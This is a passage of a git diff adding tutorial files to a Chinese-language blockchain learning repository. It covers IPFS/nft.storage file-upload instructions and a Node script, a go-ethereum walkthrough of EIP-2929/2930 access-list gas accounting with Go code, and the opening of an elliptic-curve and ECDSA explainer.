+  "description": "- <https://www.bilibili.com/video/BV1j5411w7MH> - <https://pinata.cloud/pinmanager> - <https://nft.storage>",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "author": "",
+  "license": "ISC",
+  "dependencies": {
+    "dotenv": "^10.0.0",
+    "json": "^11.0.0",
+    "nft.storage": "^3.2.2",
+    "request": "^2.88.2"
+  },
+  "type": "module"
+}
diff --git a/basic/65-ZK-NFT/readme.md b/basic/65-ZK-NFT/readme.md
new file mode 100644
index 000000000..bb827b128
--- /dev/null
+++ b/basic/65-ZK-NFT/readme.md
@@ -0,0 +1,69 @@
+# 简介
+
+数据存储在 ipfs 上后, 在 Dapp 前端就可以通过 api 进行访问, 达到去中心化的目的.
+我们可以使用两种方式进行
+//todo
+FileCoin
+
+## 测试 nft.storage 流程
+
+- 账户注册  
+  注册https://nft.storage/, 获得 nft.storage API Key, 写入.env
+- 安装 nft.storage 以及其他依赖
+
+```shell
+npm install
+```
+
+- 运行 js 文件
+
+```shell
+node scripts/nftStorage-uploadfile
+```
+
+## 测试 ipfs.infura 流程
+
+- 在 infura 上创建 ipfs 工程  
+  登陆 infura, 然后进入 Dashboard, 之后在 "IPFS" 标签页中创建 IPFS 工程
+  <center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/basic/36-nft-ipfs/ipfs-infura.png?raw=true" /></center>
+
+- 获取 "PROJECT ID" 和 "PROJECT SECRET"  
+  点击刚才创建的 IPFS 工程, 然后获取其中的 "PROJECT ID" 和 "PROJECT SECRET"
+
+- 上传文件  
+  替换如下命令中的 PROJECT_ID, PROJECT_SECRET.
+
+```shell
+cd data;
+curl -X POST -F file=@matic.jpeg \
+-u "<PROJECT_ID>:<PROJECT_SECRET>" \
+"https://ipfs.infura.io:5001/api/v0/add"
+```
+
+之后可以看到如下输出:
+
+```shell
+{
+      "Name":"ipfs_file_docs_getting_started_demo.txt",
+      "Hash":"QmeGAVddnBSnKc1DLE7DLV9uuTqo5F7QbaveTjr45JUdQn",
+      "Size":"44"
+}
+```
+
+- 获取文件 && 验证  
+  替换如下命令中的 Hash 参数, 然后执行如下命令, 之后检查 matic.jpeg 文件.
+
+```shell
+rm matic.jpeg
+curl -X POST -u "PROJECT_ID:PROJECT_SECRET" \
+"https://ipfs.infura.io:5001/api/v0/pin/add?arg=<Hash>" -o matic.jpeg
+```
+
+## 参考文档
+
+- <https://www.bilibili.com/video/BV1j5411w7MH>
+- <https://pinata.cloud/pinmanager>
+- <https://nft.storage>
+- https://infura.io/docs/ipfs#section/Authentication/Using-Javascript
+- zknft: https://medium.com/centrifuge/bringing-privacy-to-non-fungible-tokens-a-recap-from-the-zokrates-workshop-at-zcon1-6d9ea8a74b7f
+- 055: https://github.com/hellsegga-xyz/055-contract 
diff --git a/basic/65-ZK-NFT/scripts/nftStorage-uploadfile.js b/basic/65-ZK-NFT/scripts/nftStorage-uploadfile.js
new file mode 100644
index 000000000..9b65a0f18
--- /dev/null
+++ b/basic/65-ZK-NFT/scripts/nftStorage-uploadfile.js
@@ -0,0 +1,18 @@
+import { NFTStorage, File } from 'nft.storage';
+import { readFileSync } from 'fs';
+import dotenv from 'dotenv';
+dotenv.config()
+
+
+const apiKey = process.env.apiKey
+console.log(apiKey)
+const client = new NFTStorage({ token: process.env.NFT_STORAGE_APIKEY })
+
+const data = readFileSync('data/matic.jpeg')
+
+const metadata = await client.store({
+  name: 'Pinpie',
+  description: 'Pin is not delicious beef!',
+  image: new File(data, 'matic.jpeg', { type: 'image/jpg' })
+})
+console.log(metadata)
\ No newline at end of file
diff --git a/basic/67-Go-Ethereum-Code-Analysis/EIP/accesslist.md b/basic/67-Go-Ethereum-Code-Analysis/EIP/accesslist.md
new file mode 100644
index 000000000..77a370167
--- /dev/null
+++ b/basic/67-Go-Ethereum-Code-Analysis/EIP/accesslist.md
@@ -0,0 +1,507 @@
+## 1.涉及的EIP
+
+https://eips.ethereum.org/EIPS/eip-2930
+
+https://eips.ethereum.org/EIPS/eip-2929
+
+在EIP2930中这么写到：
+
+一种新的[EIP-2718](https://eips.ethereum.org/EIPS/eip-2718)事务类型，格式为0x01 || rlp([chainId, nonce, gasPrice, gasLimit, to, value, data, accessList, signatureYParity, signatureR, signatureS]).
+
+在EIP2930中定义了它的格式为
+
+此交易的[EIP-2718](https://eips.ethereum.org/EIPS/eip-2718) TransactionPayload是rlp([chainId, nonce, gasPrice, gasLimit, to, value, data, accessList, signatureYParity, signatureR, signatureS]).
+
+此交易的signatureYParity, signatureR, signatureS元素代表 secp256k1 签名keccak256(0x01 || rlp([chainId, nonce, gasPrice, gasLimit, to, value, data, accessList]))。
+
+此交易的[EIP-2718](https://eips.ethereum.org/EIPS/eip-2718) ReceiptPayload是rlp([status, cumulativeGasUsed, logsBloom, logs]).
+
+
+
+## 2.使用AccessList的动机
+
+1. Generally, the main function of gas costs of opcodes is to be an estimate of the time needed to process that opcode, the goal being for the gas limit to correspond to a limit on the time needed to process a block. However, storage-accessing opcodes (SLOAD, as well as the *CALL, BALANCE and EXT* opcodes) have historically been underpriced. In the 2016 Shanghai DoS attacks, once the most serious client bugs were fixed, one of the more durably successful strategies used by the attacker was to simply send transactions that access or call a large number of accounts.
+2. EXTCODESIZE 需要强制客户端去磁盘中查询到对应的contract .因此会导致在我们在磁盘上重新执行以太坊交易的时，恶意交易需要20～80s,而普通交易仅仅需要几毫秒
+
+1. 因此在需要提高访问磁盘的操作码的gas费用，但是当同一个操作码第二次访问同一个位置的数据时，则在第二次收取极低的gas费用；为了记录哪些磁盘数据已经被访问过，所以用accessList进行存储
+
+
+
+## 3.Specification
+
+### Parameters
+
+| Constant                 | Value |
+| ------------------------ | ----- |
+| FORK_BLOCK               | TBD   |
+| COLD_SLOAD_COST          | 2100  |
+| COLD_ACCOUNT_ACCESS_COST | 2600  |
+| WARM_STORAGE_READ_COST   | 100   |
+
+For blocks where block.number >= FORK_BLOCK, the following changes apply.
+
+When executing a transaction, maintain a set accessed_addresses: Set[Address] and accessed_storage_keys: Set[Tuple[Address, Bytes32]] .
+
+The sets are transaction-context-wide, implemented identically to other transaction-scoped constructs such as the self-destruct-list and global refund counter. In particular, if a scope reverts, the access lists should be in the state they were in before that scope was entered.
+
+When a transaction execution begins,
+
+- accessed_storage_keys is initialized to empty, and
+- accessed_addresses is initialized to include
+
+- - the tx.sender, tx.to (or the address being created if it is a contract creation transaction)
+  - and the set of all precompiles.
+
+
+
+## 4.AccessList在源码中的实现
+
+这种新的transaction类型在go-ethereum中被定义为:`AccessListTx`
+
+然后在TxData中增加了一个接口函数:`accessList()`用于 访问交易中提前声明的`AccessList`
+
+```go
+// AccessListTx is the data of EIP-2930 access list transactions.
+type AccessListTx struct {
+	ChainID    *big.Int        // destination chain ID
+	Nonce      uint64          // nonce of sender account
+	GasPrice   *big.Int        // wei per gas
+	Gas        uint64          // gas limit
+	To         *common.Address `rlp:"nil"` // nil means contract creation
+	Value      *big.Int        // wei amount
+	Data       []byte          // contract invocation input data
+	AccessList AccessList      // EIP-2930 access list
+	V, R, S    *big.Int        // signature values
+}
+
+func (tx *AccessListTx) accessList() AccessList { return tx.AccessList }
+```
+
+
+
+### 4.1在EVM.StateDB
+
+在/core/vm/interface.go中：
+
+有一个StateDB的接口，EVM通过实现这个接口的数据库与以太坊的World State Trie进行交互；为了支持AccessList，这个接口新增了以下几个方法:
+
+- `StateDB.PrepareAccessList`：用于将precompile contracts和我们自己构造交易中的AccessList加入到StateDB中,实际上还是调用`StateDB.AddAddressToAccessList()` 和
+- `StateDB.AddAddressToAccessList(addr common.Address)` :将addr插入`StateDB.accessList`
+
+- `StateDB.AddSlotToAccessList(addr common.Address, slot common.Hash)`:将`(address,slot)`插入到`StateDB.accessList`
+- `StateDb.AddressInAccessList(addr common.Address) bool`:判断该addr是否存在`StateDB.accessList`中
+
+- `SlotInAccessList(addr common.Address, slot common.Hash) (addressOk bool, slotOk bool)`
+
+判断该`(addr,slot)`是否存在于`StateDB.accessList`中
+
+```go
+// StateDB is an EVM database for full state querying.
+type StateDB interface {
+    // 用于将
+    PrepareAccessList(sender common.Address, dest *common.Address, precompiles []common.Address, txAccesses types.AccessList)
+	AddressInAccessList(addr common.Address) bool
+	SlotInAccessList(addr common.Address, slot common.Hash) (addressOk bool, slotOk bool)
+	// AddAddressToAccessList adds the given address to the access list. This operation is safe to perform
+	// even if the feature/fork is not active yet
+	AddAddressToAccessList(addr common.Address)
+	// AddSlotToAccessList adds the given (address,slot) to the access list. This operation is safe to perform
+	// even if the feature/fork is not active yet
+	AddSlotToAccessList(addr common.Address, slot common.Hash)
+}
+```
+
+#### StateDB具体实现：
+
+在在`/core/state/statedb.go`中实现了上述的StateDB接口：
+
+```go
+// StateDB structs within the ethereum protocol are used to store anything
+// within the merkle trie. StateDBs take care of caching and storing
+// nested states. It's the general query interface to retrieve:
+// * Contracts
+// * Accounts
+type StateDB struct {
+    ...
+   // Per-transaction access list
+	accessList *accessList
+    
+    ...
+}
+
+// PrepareAccessList handles the preparatory steps for executing a state transition with
+// regards to both EIP-2929 and EIP-2930:
+//
+// - Add sender to access list (2929)
+// - Add destination to access list (2929)
+// - Add precompiles to access list (2929)
+// - Add the contents of the optional tx access list (2930)
+//
+// This method should only be called if Berlin/2929+2930 is applicable at the current number.
+func (s *StateDB) PrepareAccessList(sender common.Address, dst *common.Address, precompiles []common.Address, list types.AccessList) {
+	s.AddAddressToAccessList(sender)
+	if dst != nil {
+		s.AddAddressToAccessList(*dst)
+		// If it's a create-tx, the destination will be added inside evm.create
+	}
+	for _, addr := range precompiles {
+		s.AddAddressToAccessList(addr)
+	}
+	for _, el := range list {
+		s.AddAddressToAccessList(el.Address)
+		for _, key := range el.StorageKeys {
+			s.AddSlotToAccessList(el.Address, key)
+		}
+	}
+}
+
+// AddAddressToAccessList adds the given address to the access list
+func (s *StateDB) AddAddressToAccessList(addr common.Address) {
+	if s.accessList.AddAddress(addr) {
+		s.journal.append(accessListAddAccountChange{&addr})
+	}
+}
+
+// AddSlotToAccessList adds the given (address, slot)-tuple to the access list
+func (s *StateDB) AddSlotToAccessList(addr common.Address, slot common.Hash) {
+	addrMod, slotMod := s.accessList.AddSlot(addr, slot)
+	if addrMod {
+		// In practice, this should not happen, since there is no way to enter the
+		// scope of 'address' without having the 'address' become already added
+		// to the access list (via call-variant, create, etc).
+		// Better safe than sorry, though
+		s.journal.append(accessListAddAccountChange{&addr})
+	}
+	if slotMod {
+		s.journal.append(accessListAddSlotChange{
+			address: &addr,
+			slot:    &slot,
+		})
+	}
+}
+
+// AddressInAccessList returns true if the given address is in the access list.
+func (s *StateDB) AddressInAccessList(addr common.Address) bool {
+	return s.accessList.ContainsAddress(addr)
+}
+
+// SlotInAccessList returns true if the given (address, slot)-tuple is in the access list.
+func (s *StateDB) SlotInAccessList(addr common.Address, slot common.Hash) (addressPresent bool, slotPresent bool) {
+	return s.accessList.Contains(addr, slot)
+}
+```
+
+#### accessList结构体
+
+```go
+type accessList struct {
+	addresses map[common.Address]int
+	slots     []map[common.Hash]struct{}
+}
+```
+
+### 4.2准备进入到EVM时，针对AccessList的特殊处理
+
+首先EVM的进入函数在` /core/state_transaction.go` 中`StateTransition.TransitionDb()`函数
+
+EVM的可以不熟悉的可以查看:https://github.com/cyl19970726/EVM.git
+
+在该函数中：
+
+1. 计算accessList所需要额外消耗的gas; 一个address是2400gas,一个slot是1900gas。
+2. 通过`st.state.PrepareAccessList(msg.From(), msg.To(), vm.ActivePrecompiles(rules), msg.AccessList()`将我们构造的交易中的`AccessList`和`precompile contracts`加入到`StateDB.的accessList`中
+
+```go
+// IntrinsicGas computes the 'intrinsic gas' for a message with the given data.
+func IntrinsicGas(data []byte, accessList types.AccessList, isContractCreation bool, isHomestead, isEIP2028 bool) (uint64, error) {
+
+    ...
+    ...
+    //计算accessList所需要额外消耗的gas; 一个address是2400gas,一个slot是1900gas
+	if accessList != nil {
+		gas += uint64(len(accessList)) * params.TxAccessListAddressGas             // 加载一个账户收取2400 gas
+		gas += uint64(accessList.StorageKeys()) * params.TxAccessListStorageKeyGas //一共有多少个 slot
+	}
+	return gas, nil
+}
+
+func (st *StateTransition) TransitionDb() (*ExecutionResult, error) {
+    ...	
+    // Check clauses 4-5, subtract intrinsic gas if everything is correct
+	gas, err := IntrinsicGas(st.data, st.msg.AccessList(), contractCreation, homestead, istanbul)
+	if err != nil {
+		return nil, err
+	}
+	if st.gas < gas {
+		return nil, fmt.Errorf("%w: have %d, want %d", ErrIntrinsicGas, st.gas, gas)
+	}
+	st.gas -= gas
+    ...
+    
+    // Set up the initial access list.
+	if rules := st.evm.ChainConfig().Rules(st.evm.Context.BlockNumber); rules.IsBerlin {
+		st.state.PrepareAccessList(msg.From(), msg.To(), vm.ActivePrecompiles(rules), msg.AccessList())
+	}
+    ...
+    ...
+}
+```
+
+
+
+### 4.3EVM.Create
+
+/core/vm/evm.go
+
+```go
+// create creates a new contract using code as deployment code.
+func (evm *EVM) create(caller ContractRef, codeAndHash *codeAndHash, gas uint64, value *big.Int, address common.Address, typ OpCode) ([]byte, common.Address, uint64, error) {
+	// Depth check execution. Fail if we're trying to execute above the
+	// limit.
+	if evm.depth > int(params.CallCreateDepth) {
+		return nil, common.Address{}, gas, ErrDepth
+	}
+	if !evm.Context.CanTransfer(evm.StateDB, caller.Address(), value) {
+		return nil, common.Address{}, gas, ErrInsufficientBalance
+	}
+	nonce := evm.StateDB.GetNonce(caller.Address())
+	if nonce+1 < nonce {
+		return nil, common.Address{}, gas, ErrNonceUintOverflow
+	}
+	evm.StateDB.SetNonce(caller.Address(), nonce+1)
+	// We add this to the access list _before_ taking a snapshot. Even if the creation fails,
+	// the access-list change should not be rolled back
+	if evm.chainRules.IsBerlin {
+		evm.StateDB.AddAddressToAccessList(address)
+	}
+ 	....   
+}
+```
+
+
+
+### 4.4 Opcode
+
+```
+/core/vm/jumpTable.go`中定义了这个每个opcode的struct `operation
+type operation struct {
+	// execute is the operation function
+	execute     executionFunc
+	constantGas uint64
+	dynamicGas  gasFunc
+	// minStack tells how many stack items are required
+	minStack int
+	// maxStack specifies the max length the stack can have for this operation
+	// to not overflow the stack.
+	maxStack int
+
+	// memorySize returns the memory size required for the operation
+	memorySize memorySizeFunc
+}
+```
+
+在接下去之前，我们先要了解每个Opcode执行的时的流程:
+
+- operation := in.cfg.JumpTable[op]
+- cost = operation.constantGas 
+
+- operation.dynamicGas
+- operation.execute()
+
+翻译过来就是:
+
+- 先根据当前的opcode读取到对应的operation
+- 计算并减去该操作码规定的固定gas
+
+- 计算并减去该操作码规定的动态gas
+- 执行该operation
+
+#### SStore
+
+SStore这个操作码在JumpTable中的定义如下:
+
+```
+*SSTORE*: {   execute:    opSstore,   dynamicGas: gasSStoreEIP2929,   minStack:   minStack(2, 0),   maxStack:   maxStack(2, 0),},
+```
+
+
+
+按照上文提到的operation的执行逻辑：
+
+1. 会先执行makeGasSStoreFunc()
+
+1. 1. 在makeGasSStoreFunc中我们可以发现它执行了`evm.StateDB.AddSlotToAccessList(contract.Address(), slot)`将SStore要存储到State trie中的(address,slot)加载到StateDB.accessList中 
+
+1. Sstore.Execute就是执行opSstore,会执行`interpreter.evm.StateDB.SetState(scope.Contract.Address(),loc.Bytes32(), val.Bytes32()`它会将`(addr,slot)=value `设置到state trie中
+
+```go
+func opSstore(pc *uint64, interpreter *EVMInterpreter, scope *ScopeContext) ([]byte, error) {
+	if interpreter.readOnly {
+		return nil, ErrWriteProtection
+	}
+	loc := scope.Stack.pop()
+	val := scope.Stack.pop()
+	interpreter.evm.StateDB.SetState(scope.Contract.Address(),
+		loc.Bytes32(), val.Bytes32())
+	return nil, nil
+}
+
+gasSStoreEIP2929 = makeGasSStoreFunc(params.SstoreClearsScheduleRefundEIP2200)
+func makeGasSStoreFunc(clearingRefund uint64) gasFunc {
+	return func(evm *EVM, contract *Contract, stack *Stack, mem *Memory, memorySize uint64) (uint64, error) {
+		// If we fail the minimum gas availability invariant, fail (0)
+		if contract.Gas <= params.SstoreSentryGasEIP2200 {
+			return 0, errors.New("not enough gas for reentrancy sentry")
+		}
+		// Gas sentry honoured, do the actual gas calculation based on the stored value
+		var (
+			// y次栈顶元素 val
+			// x栈顶元素  loc
+			y, x    = stack.Back(1), stack.peek()
+			slot    = common.Hash(x.Bytes32())
+			current = evm.StateDB.GetState(contract.Address(), slot)
+			cost    = uint64(0)
+		)
+		// Check slot presence in the access list
+		if addrPresent, slotPresent := evm.StateDB.SlotInAccessList(contract.Address(), slot); !slotPresent {
+			cost = params.ColdSloadCostEIP2929
+			// If the caller cannot afford the cost, this change will be rolled back
+			evm.StateDB.AddSlotToAccessList(contract.Address(), slot)
+			if !addrPresent {
+				// Once we're done with YOLOv2 and schedule this for mainnet, might
+				// be good to remove this panic here, which is just really a
+				// canary to have during testing
+				panic("impossible case: address was not present in access list during sstore op")
+			}
+		}
+		value := common.Hash(y.Bytes32())
+
+		if current == value { // noop (1)
+			// EIP 2200 original clause:
+			//		return params.SloadGasEIP2200, nil
+			return cost + params.WarmStorageReadCostEIP2929, nil // SLOAD_GAS
+		}
+		original := evm.StateDB.GetCommittedState(contract.Address(), x.Bytes32())
+		if original == current {
+			if original == (common.Hash{}) { // create slot (2.1.1)
+				return cost + params.SstoreSetGasEIP2200, nil
+			}
+			if value == (common.Hash{}) { // delete slot (2.1.2b)
+				evm.StateDB.AddRefund(clearingRefund)
+			}
+			// EIP-2200 original clause:
+			//		return params.SstoreResetGasEIP2200, nil // write existing slot (2.1.2)
+			return cost + (params.SstoreResetGasEIP2200 - params.ColdSloadCostEIP2929), nil // write existing slot (2.1.2)
+		}
+		if original != (common.Hash{}) {
+			if current == (common.Hash{}) { // recreate slot (2.2.1.1)
+				evm.StateDB.SubRefund(clearingRefund)
+			} else if value == (common.Hash{}) { // delete slot (2.2.1.2)
+				evm.StateDB.AddRefund(clearingRefund)
+			}
+		}
+		if original == value {
+			if original == (common.Hash{}) { // reset to original inexistent slot (2.2.2.1)
+				// EIP 2200 Original clause:
+				//evm.StateDB.AddRefund(params.SstoreSetGasEIP2200 - params.SloadGasEIP2200)
+				evm.StateDB.AddRefund(params.SstoreSetGasEIP2200 - params.WarmStorageReadCostEIP2929)
+			} else { // reset to original existing slot (2.2.2.2)
+				// EIP 2200 Original clause:
+				//	evm.StateDB.AddRefund(params.SstoreResetGasEIP2200 - params.SloadGasEIP2200)
+				// - SSTORE_RESET_GAS redefined as (5000 - COLD_SLOAD_COST)
+				// - SLOAD_GAS redefined as WARM_STORAGE_READ_COST
+				// Final: (5000 - COLD_SLOAD_COST) - WARM_STORAGE_READ_COST
+				evm.StateDB.AddRefund((params.SstoreResetGasEIP2200 - params.ColdSloadCostEIP2929) - params.WarmStorageReadCostEIP2929)
+			}
+		}
+		// EIP-2200 original clause:
+		//return params.SloadGasEIP2200, nil // dirty update (2.2)
+		return cost + params.WarmStorageReadCostEIP2929, nil // dirty update (2.2)
+	}
+}
+```
+
+
+
+
+
+#### sload
+
+sload这个操作码在Jump_table的定义如下(EIP2929之后):
+
+```
+*SLOAD*: {   execute:     opSload,   constantGas: 0,		                                                  dynamicGas:gasSloadEIP2929,   minStack:    minStack(1, 1),         maxStack:    maxStack(1, 1),},
+```
+
+- **在gasLoadEIP2929中的执行逻辑如下:**
+  判断该(addr,slot)是否存在于StateDB.accessList中
+
+- - 如果存在则只需要花费100gas(*WarmStorageReadCostEIP2929*)
+
+- - 如果没存在，则需要调用evm.StateDB.AddSlotToAccessList(contract.Address(), slot)将其加入到accessList中，需要花费的gas为2100(params.ColdSloadCostEIP2929)
+
+```go
+// gasSLoadEIP2929 calculates dynamic gas for SLOAD according to EIP-2929
+// For SLOAD, if the (address, storage_key) pair (where address is the address of the contract
+// whose storage is being read) is not yet in accessed_storage_keys,
+// charge 2100 gas and add the pair to accessed_storage_keys.
+// If the pair is already in accessed_storage_keys, charge 100 gas.
+func gasSLoadEIP2929(evm *EVM, contract *Contract, stack *Stack, mem *Memory, memorySize uint64) (uint64, error) {
+	loc := stack.peek()
+	slot := common.Hash(loc.Bytes32())
+	// Check slot presence in the access list
+	if _, slotPresent := evm.StateDB.SlotInAccessList(contract.Address(), slot); !slotPresent {
+		// If the caller cannot afford the cost, this change will be rolled back
+		// If he does afford it, we can skip checking the same thing later on, during execution
+		evm.StateDB.AddSlotToAccessList(contract.Address(), slot)
+		return params.ColdSloadCostEIP2929, nil
+	}
+	return params.WarmStorageReadCostEIP2929, nil
+}
+
+
+func opSload(pc *uint64, interpreter *EVMInterpreter, scope *ScopeContext) ([]byte, error) {
+	loc := scope.Stack.peek()
+	hash := common.Hash(loc.Bytes32())
+	val := interpreter.evm.StateDB.GetState(scope.Contract.Address(), hash)
+	loc.SetBytes(val.Bytes())
+	return nil, nil
+}
+```
+
+
+
+#### ext*
+
+也会涉及到accessList，具体代码如下
+
+```go
+// gasEip2929AccountCheck checks whether the first stack item (as address) is present in the access list.
+// If it is, this method returns '0', otherwise 'cold-warm' gas, presuming that the opcode using it
+// is also using 'warm' as constant factor.
+// This method is used by:
+// - extcodehash,
+// - extcodesize,
+// - (ext) balance
+func gasEip2929AccountCheck(evm *EVM, contract *Contract, stack *Stack, mem *Memory, memorySize uint64) (uint64, error) {
+	addr := common.Address(stack.peek().Bytes20())
+	// Check slot presence in the access list
+	if !evm.StateDB.AddressInAccessList(addr) {
+		// If the caller cannot afford the cost, this change will be rolled back
+		evm.StateDB.AddAddressToAccessList(addr)
+		// The warm storage read cost is already charged as constantGas
+		return params.ColdAccountAccessCostEIP2929 - params.WarmStorageReadCostEIP2929, nil
+	}
+	return 0, nil
+}
+
+
+
+func opExtCodeSize(pc *uint64, interpreter *EVMInterpreter, scope *ScopeContext) ([]byte, error) {
+	slot := scope.Stack.peek() // contract address
+	slot.SetUint64(uint64(interpreter.evm.StateDB.GetCodeSize(slot.Bytes20())))
+	return nil, nil
+}
+```
+
+## 5.实例测试
\ No newline at end of file
diff --git a/basic/67-Go-Ethereum-Code-Analysis/YellowPaper/ECSDA.md b/basic/67-Go-Ethereum-Code-Analysis/YellowPaper/ECSDA.md
new file mode 100644
index 000000000..d8dbf378b
--- /dev/null
+++ b/basic/67-Go-Ethereum-Code-Analysis/YellowPaper/ECSDA.md
@@ -0,0 +1,381 @@
+前段时间跟行业内人士聊天的时候，聊到了一个有趣的话题，即以太坊中私钥，公钥和地址分别是什么关系？以及ECDSA是如何工作的？
+
+正好在做Paradigm的CTF中，有一道关于ecdsa的题目，故借此题目将ecdsa和私钥，公钥等简单梳理下。
+
+> 本文为原创文章，如需转载请联系作者。
+
+本文的原创链接如下：https://t.1yb.co/y9r4
+本文的主要参考文章有：
+
+1. [零知识证明 - 椭圆曲线基础](https://learnblockchain.cn/article/369)
+2. **[Elliptic curves over real numbers and the group law](https://andrea.corbellini.name/2015/05/17/elliptic-curve-cryptography-a-gentle-introduction/)**
+3. **[Elliptic curves over finite fields and the discrete logarithm problem](https://andrea.corbellini.name/2015/05/23/elliptic-curve-cryptography-finite-fields-and-discrete-logarithms/)**
+4. **[Key pair generation and two ECC algorithms: ECDH and ECDSA](https://andrea.corbellini.name/2015/05/30/elliptic-curve-cryptography-ecdh-and-ecdsa/)**
+5. [Algorithms for breaking ECC security, and a comparison with RSA](https://andrea.corbellini.name/2015/06/08/elliptic-curve-cryptography-breaking-security-and-a-comparison-with-rsa/)
+
+## ECC, ECDSA
+
+ECC是Elliptic Curve Cryptography的缩写，ECDSA是基于ECC的一种签名算法。
+
+## 实数域上的ECC
+
+实数域上的ECC是一组满足如下方程的点的集合
+
+$$
+y^2=x^3+ax+b\\
+其中：4a^3+27b^2 \neq 0
+$$
+
+其形状如图所示，可以看到其曲线为一个X轴对称图形。
+![image20210804223829496.png](https://img.learnblockchain.cn/attachments/2021/08/ZVlTTQo6610c062b11c2d.png)
+
+在如上图的曲线外，ECC还定义了一个位于无穷远处的点，并且规定该点为0点。0点加上上述方程，其所曲线上的所有点的集合即构成了ECC。
+
+```math
+\left\{ (x, y) \in \mathbb{R}^2\ |\ y^2 = x^3 + ax + b,\ 4 a^3 + 27 b^2 \ne 0 \right\}\ \cup\ \left\{ 0 \right\}
+```
+
+### 加法
+
+在ECC中，加法定义为两个曲线上的点P,点Q的连成的直线与椭圆曲线的交点点R，满足如下关系：
+
+$$
+P + (Q + R) = Q + (P + R) = R + (P + Q) = \cdots = 0
+$$
+
+即直线与椭圆曲线上相交的三点之和为0. 如下图所示： $P+Q=-R$, 其中， $R$ 与 $-R$ 点关于X轴对称。
+![image20210804224502068.png](https://img.learnblockchain.cn/attachments/2021/08/UR3RIDye610c06673524a.png)
+
+在上述的加法定义中，需要明确如下的edge case：
+
+#### case 1: P点和Q点关于X轴对称
+
+当 $P$ 点和 $Q$​ 点关于X轴对称时，此时直线为一条垂直于X轴的直线，于椭圆曲线只相交于2个点，则其和应定义为0点.
+
+$$
+P+(-P)=0
+$$
+
+![image20210804225138089.png](https://img.learnblockchain.cn/attachments/2021/08/Osadu0fD610c067c44689.png)
+
+#### case2: P点和Q点是同一个点
+
+此时直线为椭圆曲线在该点的切线，R点为P点所在的切线与椭圆曲线的交点。
+
+$$
+P+P=-R
+$$
+
+![animationpointdoubling.gif](https://img.learnblockchain.cn/attachments/2021/08/hBuQdhQ4610c069f59685.gif)
+
+### 乘法
+
+在椭圆曲线中，乘法被定义为同一个点的多次相加，即点P乘以n就等于点P与自己相加n-1次。
+
+$$
+nP = \underbrace{P + P + \cdots + P}_{n\ \text{times}}
+$$
+
+![image20210804230105822.png](https://img.learnblockchain.cn/attachments/2021/08/U8tMlO7e610c06ecb3a60.png)
+
+为提高乘法效率，一种名为“double & add”，即翻倍再相加的算法被发明了出来：其思路可以简化为将n个P点依次累加，转换为将P点依次翻倍，然后将翻倍后的P点相加。
+
+举个简单的例子：如计算151*P，可以将151转换为如下：
+
+$$
+151 = 1 \cdot 2^7 + 0 \cdot 2^6 + 0 \cdot 2^5 + 1 \cdot 2^4 + 0 \cdot 2^3 + 1 \cdot 2^2 + 1 \cdot 2^1 + 1 \cdot 2^0 \\
+    = 2^7 + 2^4 + 2^2 + 2^1 + 2^0
+$$
+
+则：
+
+$$
+151 \cdot P = 2^7 P + 2^4 P + 2^2 P + 2^1 P + 2^0 P \\
+2^0 P = P \\
+2^1 P = P+P\\
+2^2 P = 2^1P + 2^1P\\
+2^3 P = 2^2P + 2^2P\\
+2^4 P = 2^3P + 2^3P\\
+2^5 P = 2^4P + 2^4P\\
+2^6 P = 2^5P + 2^5P\\
+2^7 P = 2^6P + 2^6P
+$$
+
+从上面的计算过程可以看到，乘法的效率是很高的, 时间复杂度为： $O(\log n)$。
+
+然而其逆过程，称为对数问题，即已知P点和R点，且已知R点是P点乘以n后得到，要推断出n的值的问题。该对数问题是一个很难的问题
+
+## 有限域上的ECC
+
+前面我们简单讲了实数域上的ECC，主要定义了加法和乘法。并且知道了乘法的逆运算是一个很难的问题。但是我们在以太坊上面使用的ECC并不是定义在实数域，而是定义在有限域。
+
+### 有限域
+
+首先我们需要理解什么是有限域。一个简单的解释是该域中的所有元素都是某一个给定的素数的余数。如 $\mathbb{F}_p$​​​​, 素数p=23时，该域中就只包含：0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22这些数，且其必须为整数不能为小数。（回忆下小学学的余数的概念~）
+
+有限域中的加减乘除的运算：
+
+加法： $(18+9)\  \%\ 23=4$​​​
+
+减法： $(7-14)\ \%\ 23=16$​​
+
+乘法： $(4\times7)\%\ 23=5$​​​
+
+除法： $(1/9)\%\ 23=18$ , $9 \cdot 9^{-1} \bmod{23} = 9 \cdot 18 \bmod{23} = 1$​
+
+### 有限域上的ECC定义
+
+给定一个素数P，则有限域 $\mathbb{F}_p$ 上的ECC定义为：​
+
+```math
+\begin{array}{rcl}
+  \left\{(x, y) \in (\mathbb{F}_p)^2 \right. & \left. | \right. & \left. y^2 \equiv x^3 + ax + b \pmod{p}, \right. \\
+  & & \left. 4a^3 + 27b^2 \not\equiv 0 \pmod{p}\right\}\ \cup\ \left\{0\right\}
+\end{array}
+```
+
+则根据有限域上的计算规则，原实数域上的椭圆曲线图像跟有限域的椭圆曲线图像不尽相同，可以看作是作如下变换得到：
+
+实数域上的 y2 = x3 - x + 1 图像
+![image20210805203154302.png](https://img.learnblockchain.cn/attachments/2021/08/vXV3py3S610c0768c4de7.png)
+
+当P=97时的有限域上的图像：
+![image20210805203301972.png](https://img.learnblockchain.cn/attachments/2021/08/0bCgPlbi610c077436b4e.png)
+
+其特点是：关于中轴线对称，且由于取模算法的特性，每一个点的横纵坐标都是正整数，且小于素数P
+
+### 有限域的加法：
+
+有限域的加法与实数域上的加法定义类似，只是多了mod P. $ax + by + c \equiv 0 \pmod{p}$​​​,在根据有限域的特性，其会超出边界后重复，从而有限域上的直线类似于“贪吃蛇”，如下图所示。
+![ellipticcurvecryptimage01.gif](https://img.learnblockchain.cn/attachments/2021/08/AGDGnafD610c07a04c7f8.gif)
+
+从另一个角度理解有限域的加法，可以认为有限域中的集合点构成一个三维空间的甜甜圈结构，其中的直线则是在甜甜圈的表面行走。具体解释可参考：https://www.youtube.com/watch?v=mFVKuFZ29Fc&list=PLN9KZDpNfsHMd7d7PX87JGesGY_Qzyb3V&index=2
+
+![image20210805210206891.png](https://img.learnblockchain.cn/attachments/2021/08/2el3vNXD610c07afa1c12.png)
+
+### 有限域的order
+
